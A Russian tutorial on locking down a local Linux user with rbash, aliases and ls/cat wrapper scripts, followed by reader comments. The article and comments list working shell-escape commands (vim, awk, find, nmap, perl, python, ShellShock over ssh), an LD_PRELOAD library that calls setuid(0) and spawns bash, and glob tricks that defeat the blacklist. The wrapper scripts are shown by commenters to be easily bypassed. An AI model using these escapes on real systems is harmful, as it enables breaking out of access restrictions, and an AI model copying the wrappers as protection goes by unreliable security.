Ограничение прав локального пользователя в Linux до минимума

Котик Как то раз появилась следующая задача: создать локального пользователя в ОС Linux, с ограниченным доступом к папкам и файлам, включая не только редактирование, но и просмотр, а также возможность использовать только разрешенные утилиты. Предусматривается только локальный доступ, сетевого доступа нет.

Что бы не изобретать велосипед, первым делом начал копать интернет, в результате чего были найдены следующие варианты:

  • ограничения доступа через сетевые службы ssh, sftp (не подошло)
  • разграничение прав доступа самой операционной системой linux (не подошло, хотелось бы универсальное решение)
  • использование chroot (не подошло)
  • использование сторонних утилит, например SELinux (не подошло, усложняет систему).

В результате поиска, был найден встроенный механизм ограничения возможностей пользователя внутри оболочки bash, он называется Restricted Shell или rbash.

В нем реализованы следующие ограничения:

  • нет возможности смены каталога командой cd
  • нельзя сбрасывать или изменять значения переменных SHELL, PATH, ENV, BASH_ENV
  • запрещено указывать команды содержащие / (косую черту)
  • запрещено импортировать функции из основной оболочки
  • запрещено перенаправлять вывод с использованием операторов >, <, |, <>, >&, &>, >>
  • запрещено использовать команду exec для подмены команды и пр.

Есть минус, это безопасность, поэтому необходимо в обязательном порядке добавить alias на команды в файл поведения оболочки .bashrc (информация будет далее).

Конечно rbash из коробки, всех задач не решает, поэтому на примере рассмотрим создание пользователя и настройка его окружения для полного решения нашей задачи.

Далее все операции выполняются от суперпользователя (root).

1. Создаем ограниченную оболочку

echo '/bin/bash -r' > /bin/zbash
chmod +x /bin/zbash

2. Создаем пользователя

adduser --home /home/zuser --shell /bin/zbash zuser

3. Изменяем права директории

chown root.zuser /home/zuser
chmod 750 /home/zuser

4. Переходим в директорию и очищаем ее

cd ~zuser
ls -a
rm .bash*
rm .profile
ls -a

5. Настраиваем оболочку и права

echo "PATH=:/home/zuser/bin" > .bashrc
echo "alias help='echo access is limited'" >> .bashrc       # alias на команду help
echo "bind 'set disable-completion on'" >> .bashrc          # Отключает автодополнение на tab
mkdir -p bin
chmod 750 bin
chown -R root.zuser /home/zuser
chmod 640 .bash*

Файл .bashrc определяет поведение командной оболочки, в данный файл можно добавить alias для команд или дополнительные опции.

Для обеспечения безопасности выполните следующие команды:

echo "alias echo=':'" >> .bashrc
echo "alias cat=':'" >> .bashrc
echo "alias bash=':'" >> .bashrc
echo "alias sh=':'" >> .bashrc
echo "alias ln=':'" >> .bashrc
echo "alias set=':'" >> .bashrc
echo "alias uset=':'" >> .bashrc
echo "alias export=':'" >> .bashrc
echo "alias typeset=':'" >> .bashrc
echo "alias declare=':'" >> .bashrc
echo "alias alias=':'" >> .bashrc
echo "alias unalias=':'" >> .bashrc

Данный список можно продолжать…

6. Проверяем работу

root@host: su zuser
zuser@host: help
            access is limited
zuser@host: pwd
            /home/zuser
zuser@host: ls /tmp/
            bash: ls: команда не найдена
zuser@host: /bin/ls
            bash: /bin/ls: ограниченный режим в команде нельзя использовать косую черту {/}
zuser@host: echo $PATH
            :/home/zuser/bin
zuser@host: PATH=/bin/
            bash: PATH: переменная только для чтения
zuser@host: exit

7. Добавляем допустимые команды

ln -s /bin/ping /home/zuser/bin/ping

Важно, пути в команде ln необходимо указывать полностью.

8. Для ограничения опций команды можно использовать обертки

mkdir /var/scripts
echo "/usr/sbin/useradd -D" > /var/scripts/user-info
chmod +x /var/scripts/user-info
ln -s /var/scripts/user-info /home/zuser/bin/user-info

9. Для работы с файлами и папками можно также создать обертку
с черным списком (разрешить все, кроме):
— создаем файл

nano /var/scripts/ls

— содержимое файла

blacklist="\? ../ /etc /bin /boot /var"
for var in $blacklist
do
    if [[ $* == *$var* ]]; then
        echo 'Access is denied:' $*
        exit
    fi
done
/bin/ls $* 

blacklist — переменная содержащая черный список директорий или файлов (через пробел)
— добавляем команду для пользователя zuser

chmod +x /var/scripts/ls
ln -s /var/scripts/ls /home/zuser/bin/ls

Данный скрипт разрешает выполнять команду ls с любыми ключами для каталогов и файлов не совпадающих с черным списком

с белым списком (запретить все, кроме):
— создаем файл

nano /var/scripts/cat

— содержимое файла

whitelist="./ /tmp/"   # белый список
for var in $whitelist
do
    if [[ $* == *$var* ]]; then
        /bin/cat $*      # запуск утилиты cat с заданными параметрами
        exit
    fi
done
echo 'Access is denied:' $*

whitelist — переменная содержащая белый список директорий или файлов (через пробел)
— добавляем команду для пользователя zuser

chmod +x /var/scripts/cat
ln -s /var/scripts/cat /home/zuser/bin/cat

Данный скрипт разрешает выполнять команду cat с указанными файлами в белом списке

Готово, в итоге получили следующий результат:

  • мы создали пользователя zuser с оболочкой rbash
  • отключили возможность использования автодополнения в консоли
  • zuser может запускать утилиты только из директории /home/zuser/bin
  • добавили пользователю zuser команду ping
  • добавили пользователю zuser собственную команду user-info
  • пользователю zuser ограничили через обертку выполнение команд ls и cat


Данный способ к сожалению не гарантирует 100% безопасность, и при определенных знаниях и квалификации пользователь может покинуть данную оболочку. Спасибо Jouretz arheops YaDr они в комментариях привели примеры обхода ограничений оболочки.

В данном решение существуют следующие уязвимости (Shell Escape), которые необходимо обязательно учитывать:
PATH Возможность изменить переменную PATH
Копирование файлов по scp Возможность загрузить свой скрипт
При подключении по ssh можно изменить оболочку
ssh zuser@x.x.x.x -t "/bin/bash"
При подключении по ssh можно изменить файл конфигурации оболочки
ssh zuser@x.x.x.x -t "bash --noprofile"
При подключении по ssh можно использовать ShellShock
ssh zuser@x.x.x.x -t "() { :; }; /bin/bash"
Через утилиты vi, vim
:!bash
Через утилиты vi, vim
:set shell=/bin/bash
:shell
Через утилиты man, more, less
!bash
Через утилиту find
find . -maxdepth 0 -execdir /bin/bash \;
Через утилиту awk
awk 'BEGIN {system("/bin/bash")}'
Через утилиту nmap
nmap --interactive
Через утилиту nmap
echo "os.execute('/bin/sh')" > exploit.nse
nmap --script=exploit.nse
Через perl
perl -e 'exec "/bin/bash";'
Через python
python -c 'import pty; pty.spawn("/bin/bash")'
Через ruby
ruby: exec "/bin/bash"
Через LD_PRELOAD Создаем файл evil.c:
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo work");
    system("/bin/bash --noprofile");
}

Компилируем:
gcc -fPIC -shared -o evil.so evil.c -nostartfiles

Передаем полученный файл evil.so на машину с закрытой консолью и выполняем:
LD_PRELOAD=$PWD/evil.so ls

В качестве аргумента любая доступная команда

В связи с наличием достаточно большого количества уязвимостей, данный способ можно использовать только для локального пользователя на не критических системах, для доступа по сети через ssh лучше использовать chroot или другие утилиты ограничения возможностей пользователей.

Надеюсь данная информация будет полезной.
Ads
AdBlock has stolen the banner, but banners are not teeth — they will be back

More

Comments 61

    +1
    Не очень понимаю как это ограничивает права пользователя и зачем это вообще может быть нужно?
    Разве что для создания ограниченных шелов для младшего ит персонала.
      –2
      Примеры использование:
      — дать доступ к системе людям со стороны, что бы не сломали и можно было контроллированно ограничить их действия
      — передача настроенной системе пользователям, что бы могли ее использовать и не сломали (ограничить доступ к критическим файлам и директориям)

      Данная задача возникает, если мы считаем что пользователь системы может ее сломать)
        +9
        Проблема в том, что ваш способ вообще ничего не ограничивает. К безопасности он не относиться никаким боком.
        Я даже не знаю как корректно объяснить. Это не безопасность. Вы никак не ограничили права пользователя в системе, вы настроили, даже не безопасность, а интерфейс шела, примерно как удалить все ярлыки с рабочего стола и считать, что теперь все в безопасности.
        Можно сказать, это один из вариантов UAC или SU( хотя сравнение не корректное, там все таки ограничения безопасности ), чтобы случайно чего-то не поломать, не более того.
        Возможно это имеет смысл, чтобы дать не сильно квалифицированному пользователю возможность запустить самостоятельно ping на сервере который стоит у него в помещении и прочитать вывод администратору. Но для таких задач можно например использовать веб странички с небольшим кол-во команд, и вообще не давать пользователю логиниться на сервере.
        Любой человек обладающий минимальной квалификацией и имеющий желание выйти из вашего окружения сделает это за несколько минут, ну может не минут, но не более получаса.
        Самый простой вариант, ваш zuser может писать, а значит может залить туда произвольный код и выполнить его, не какой шел в данном случае не задействует.

          –3
          Согласен, изначально идея была дать оболочку которая ничего не умеет и только после этого добавлять в нее инструменты и тут кроется камень преткновения безопасности — эти инструменты пользователь может использовать для выхода за пределы оболочки.
          т.е. Для пользователя создана металлическая коробка и он в нее помещен, но для работы ему нужна болгарка, ты ему ее даешь, и вместо того что бы пилить детали внутри коробки, он начинает пилить саму коробку.
            +5

            Подходит другая аналогия: чтобы защитить сейф, все подходы к банку Вы сделали в виде лабиринта. В итоге сейф унести все равно можно (в том числе — и на вертолете), а вот людям стало жить сложнее.


            Практический разговор о безопасности системы надо начинать с big bounty: то есть сколько Вы готовы отдать за дыру в системе. Если разработчик бритая пообещать даже малую сумму, то отсюда неутешительный вывод отрельном положении дел.


            И если подытожить — правильнее называть подобное не «ограничение прав», а «защита от дурака». То есть специалист все равно выломает, однако случайный пользователь теперь случайно навредит с меньшей вероятностью.

        0
        Иногда нет возможности использовать ansible shell, приходится использовать прямой доступ по ssh для маленького CD. А чтобы компрометация ssh ничего не дала взломщику, можно максимально ограничит аккаунт.

        Но согласен, легче всё же просто ограничить доступ пользователя исполнением одного единственного неизменяемого скрипта.
        0
        Разве в п.7 должно быть не
        ln -s /bin/ping /home/zuser/bin/ping

        ?
          0
          Спасибо, fix
          +14
          Костыли в безопасности — самые опасные среди костылей.
          Если у юзера есть доступ к чему-то из [man, vim, more, less, awk, zip, tar, git...] то он выходит из ваших ограничений. Если нет, не особо понятно, что он там вообще делает? Мб доступ к шелу можно было заменить одной формой или чем-то подобным?
            –2
            Спасибо за вопрос, он действителен важен.
            На сколько я знаю основные атаки заключается в следующем:
            изменить переменную PATH
            Для блокировки данной уязвимости мы добавляем alias в файл .bashrc:
            alias set=':'
            alias uset=':'
            alias export=':'
            alias typeset=':'
            alias declare=':'
            alias alias=':'
            alias unalias=':'
            — переход в полноценную оболочку через скрипт или через утилиты vi, vim, nano, awk и т.д
            Так же можно защитится через alias в файле .bashrc:
            alias bin=':'
            alias sh=':'
            alias ln=':'
            — также, для дополнительной защиты все команды через которые можно получить доступ к файлу или выполнить скрипты необходимо делать через обертки (п.8, п.9)

            Если есть еще варианты взлома, напишите пожалуйста.
              +3
              А вы тестили? Я смотрю, у меня vim алиасы не воспринимает.
              image
              :!ll который алиас не отработал
              :!ls — работает
              :!/bin/sh — запускает shell

              Ну и как вариант — атака через ssh
              awk 'BEGIN {system("/bin/sh")}' такая ещё штука. Смотря что у вас там доступно.
              image
                0
                Спасибо большое, посмотрим что можно сделать.
                  +3

                  Если find доступен, можно с awk и не заморачиваться:


                  find . -maxdepth 0 -execdir /bin/bash \;

              +9
              Как-то chroot для этих целей кажется проще и уместнее
                0
                Через chroot получается немного другой подход (песочница).
                  0
                  Возможно, только я не разобрался как сделать chroot для локального пользователя (по ssh без проблем), буду признателен если подскажите как это лучше сделать.
                    0
                    Все просто. Делаете какойто скрипт который делает chroot, выставляет нужные переменные и запускает shell.
                    называете его /bin/chrootedshell
                    выставляете пользователю shell в этот скрипт. все.
                  +2

                  Во-первых, уверен, это всё можно обойти, если покопаться повнимательнее.


                  Во-вторых, а зачем такой урезанный доступ вообще нужен? У меня не получается придумать практических применений для этого.

                    –4
                    Как минимум есть одно.
                    И на первый, и на второй вопрос ответ — учебный курс по администрированию / инфобезу / etc. Отрестриктить так, чтобы фиксить трабл не получилось с помощью service restart / shutdown now / других нетрушных методов (я надеюсь Вы поняли). А если речь идёт о курсе по инфобезу — то за обход защиты от плюсика в карму до автомата (в зависимости от глубины курса, доброты преподавателя, остальной аудитории).
                      +7
                      Я, конечно, дико извиняюсь. Но учебный курс teaching to use bad practices это просто bullshit. И если teacher doesn't understand what в информационной безопасности нужно в первую очередь использовать appropriate methods для решения конкретных tasks, то его профпригодность is questionable.
                        –2
                        Я am очень sorry, но mixing английские words с russian аналогами is плохая practice сама по itself.
                          +5
                          Шутка повторённая дважды в два раза смешнее?
                            –2
                            Так если бы шутка. Это просто наглядный пример, почему не стоит мешать языки.
                            Впрочем, если у вас была табличка «сарказм» или «пример написания плохого комментария» — извините, не разглядел.
                          0
                          Bad practices — то, что ждёт рядового студента в будущем ежедневно. Если говорить о программировании, например, то переписывание легаси-кода — это то, за что с наибольшей вероятностью прошлый студент покупает хлеб. Быть знакомым с врагом заранее — неплохой вариант, вообще-то.
                            0
                            Так, падажжите… профпригодность is questionable, говорите? То бишь такие вещи придумывают низкоквалифицированные идиоты, которых Вы можете так же тончайше и остроумнейше высмеять, как меня?
                            +4
                            Создать по контейнеру на каждого пользователя и пускай творят что хотят до желаемого результата?
                              0
                              Не всегда покатит. Я не спец, но похожий на правду пример «непокатимости» могу привести.
                              Например, при изучении раздела загрузки ОС — задача на GRUB, нужно изменить ключи загрузки. Тяжело сформулировать конкретную задачу, но можно перекрыть возможность mkinitrd — закрыть простой путь. Да, конкретно в этой задаче содержимое статьи — вряд ли лучший инструмент, достаточно какого-нибудь SELinux, наверное. Но в общем в любом случае задача, в которой инструмент встанет, может всплыть.
                              • UFO just landed and posted this here
                                  0
                                  Виртуалка да, но не контейнер. LXD тут не покатит)
                            –2
                            1. Скорей всего, все можно обойти) По тем способам, которые я знаю мы немного защитились, а по остальным нужно смотреть

                            2. Примеры использование:
                            — дать доступ к системе людям со стороны, что бы не сломали и можно было контроллированно ограничить их действия
                            — передача настроенной системе пользователям, что бы могли ее использовать и не сломали (ограничить доступ к критическим файлам и директориям)

                            Данная задача возникает, если мы считаем что пользователь системы может ее сломать)
                              +1
                              точно защитились? Может, вы просто не знаете, что не защитились?
                              0
                              2) Школьников линуксу учить?
                              +1
                              Был у меня похожий заказчик.

                              Хотел, чтобы люди, работающие по vpn по RDP из дома на 1С-сервере не могли шарить друг с другом файлы и вообще не знали о существовании других пользователей. И чтобы у каждого пользователя минимум прав и отчёты получать кто что сделал.

                              Намучался уже в самом начале, так что потом вообще отказался от работы. Надеюсь работники тоже отказались работать в таких условиях.

                              Это я к тому, что безопасность это здорово, но не должна она лишать свободы и комфорта. Надо к работникам относиться как к людям, и не сажать их в клетки.

                              У вас нету варианта дать человеку виртуалку и пушить работу в гит/вики или вызывать скрипты через веб, например?
                                0
                                А, что они у Вас по RDP сразу в программу 1 С не входят?
                                Жесткий сценарий входа.
                                  –1
                                  Задача передать готовую систему, что бы пользователь мог ее контролировать и выполнять минимальные действия. Дело в том, что уровень знания пользователя неизвестен и он может что-то сломать. Искать что он сломал трудоемко, быстро починить можно только откатив систему, что бы минимизировать данные риски решили урезать возможности пользователю.
                                    0
                                    Я чего-то не понимаю:
                                    а что мешает пользователю дать просто урезанную учетку — не рута. Он же и так мало что сможет. «От дурака» это спасет. А от квалифицированного хакера, который не просто скрипт-кидди и отдельная_виртуалка/chroot/контейнер не факт что защитит.

                                    Не понимаю, если честно, сценарий от которого нужно защититься. Слишком абстрактно.
                                  0
                                  А если не секрет — зачем в этих ограничениях отрублено автодополнение?
                                    0
                                    Потому что это не ограничения и пользователь сможет получить данные по все структуре, после чего обратиться к этой структуре любым удобным способом, кроме разумеется bash.
                                      0
                                      Да все верно, выполнив echo /«tab» пользователь увидит структуру каталогов.
                                    0
                                    Подобный способ (restricted shell) есть также и в AIX, использую данный способ ограничения для некоторых пользователей уже давно.
                                      +4
                                      Чем вам selinux и chroot то не подошло?

                                      Напишите список утилит в вашем /home/user/bin, мы вам сообща напишем, как обойти вашу «защиту».

                                      Вот так обходится ваш блеклист к ls, например(проверил)
                                      ls /\?in
                                        –3
                                        Очень интересно, согласен что 100% защиты конечно же нет, но Ваш пример добавим в blacklist.
                                        Спасибо.
                                          +5
                                          Вы не сможете соcтавить нормальный black-list — слишком много способов. И по мере обновления системы будут появляться новые. Сам способ уже очень кривой.
                                            –3
                                            Согласен, данный способ сделан на коленке в качестве примера. По сути надежный способ нужно продумывать и разрабатывать, это отдельная задача.
                                              +6
                                              Это фигня. Либо вы делаете whitelist либо ничего не делаете.
                                              Существуют миллиарды комбинаций, шел сильно мощная штука.
                                              Все уже придумано до вас, используйте chroot.
                                              Если вам в chroot надо чтото прокинуть — используйте pipes/hardlinks.
                                                –2
                                                один whitelist лист, к сожалению не поможет, можно использовать такую комбинацию:
                                                cat /home/zuser/../../etc/passwd
                                                Данную угрозу можно конечно снизить совместив blacklist и whitelist, но как Вы правильно заметили, всех возможностей учесть достаточно сложно.
                                                  0
                                                  Вы сначала рута получите для таких фокусов (не говоря о том, что конкретно ваша команда давно уже не работает таким образом).
                                                  А если у вас рут есть, то вам уже ничего большле не нужно. И уж точно никакой restricted шел рута не остановит никогда. Тут только всякие SELinux.
                                              • UFO just landed and posted this here
                                              0
                                              Ну вот вы добавили в блеклист.
                                              Давайте дальше, чтоли «добавляйте»
                                              ls /\[b\]in
                                              ls /\[a-z\]in
                                              ls /\[a-b\]in
                                              ls /\*in

                                              Логичнее было добавить обратный слеш, но есть еще другие варианты.
                                              И это только один вид атак — регекспы.
                                            +11
                                            Зашибись безопасность!
                                            Извените, но этот подход совершенно бесполезен. Тут сходу десякти способов запустить полноценный шелл можно придумать. А если вы начнёте эти способы ограничивать (через chroot, права, ещё что-то), то на фига этот недо-шелл вообще нужен?
                                              –2
                                              Да действительно он не обеспечивает 100% защиту. Статья немного изменила вектор: инструкция превратилась в анализ безопасности данного способа, что очень важно.
                                                +2
                                                Не считается, так как Вы это не подразумевали при публикации статьи. :)
                                                +7
                                                Да. Вредная статья. Мне как-то давали подобный rbash, чтобы я не лазил где попало. Даже обходить ничего не пришлось, залил при помощи scp нормальный шелл в одну из разрешенных утилит и вперед, лол.
                                                0

                                                В защиту автора: ограниченный шелл как способ обеспечения безопасности от целенаправленного взлома, разумеется, плох. Но может использоваться как способ дать доступ младшем персоналу для выполнения какого-то ограниченного списка команд, с уменьшением риска случайно выстрелить себе в ногу.

                                                  0
                                                  Для этого достаточно младшему персоналу PATH переопределить.
                                                  +2
                                                  Был у нас заказчик как раз с такой фигнёй на серверах. Все понимал, но ни как не мог повлиять на тамошних админов, нагородивших этот странный огород. Сошлись на том, что кастыль для доступа к командам shell через консольный mysql вкрутили даже в ansible.
                                                    0
                                                    Можеть лучше SELinux настроить?
                                                      +1
                                                      Правильный ответ — jailkit.
                                                      Rbash действительно дырявенький с этой точки зрения. Ну то есть сам по себе rbash хорош и задачу (свою!) выполняет, но его задача — не совсем в области безопасности, а как верно замечают выше — скорее, чтобы у неопытных пользователей консоли глаза от обилия бинарников не разбегались.
                                                        0
                                                        использование сторонних утилит, например SELinux (не подошло, усложняет систему)

                                                        useradd -c «User with the limited rights» -Z guest_u -m -U -s /bin/bash user
                                                        passwd user

                                                        Вот весь SELinux
                                                          +1

                                                          И конечно же забыли про LD_PRELOAD...

                                                            0
                                                            Спасибо, добавил.

                                                          Only users with full accounts can post comments. Log in, please.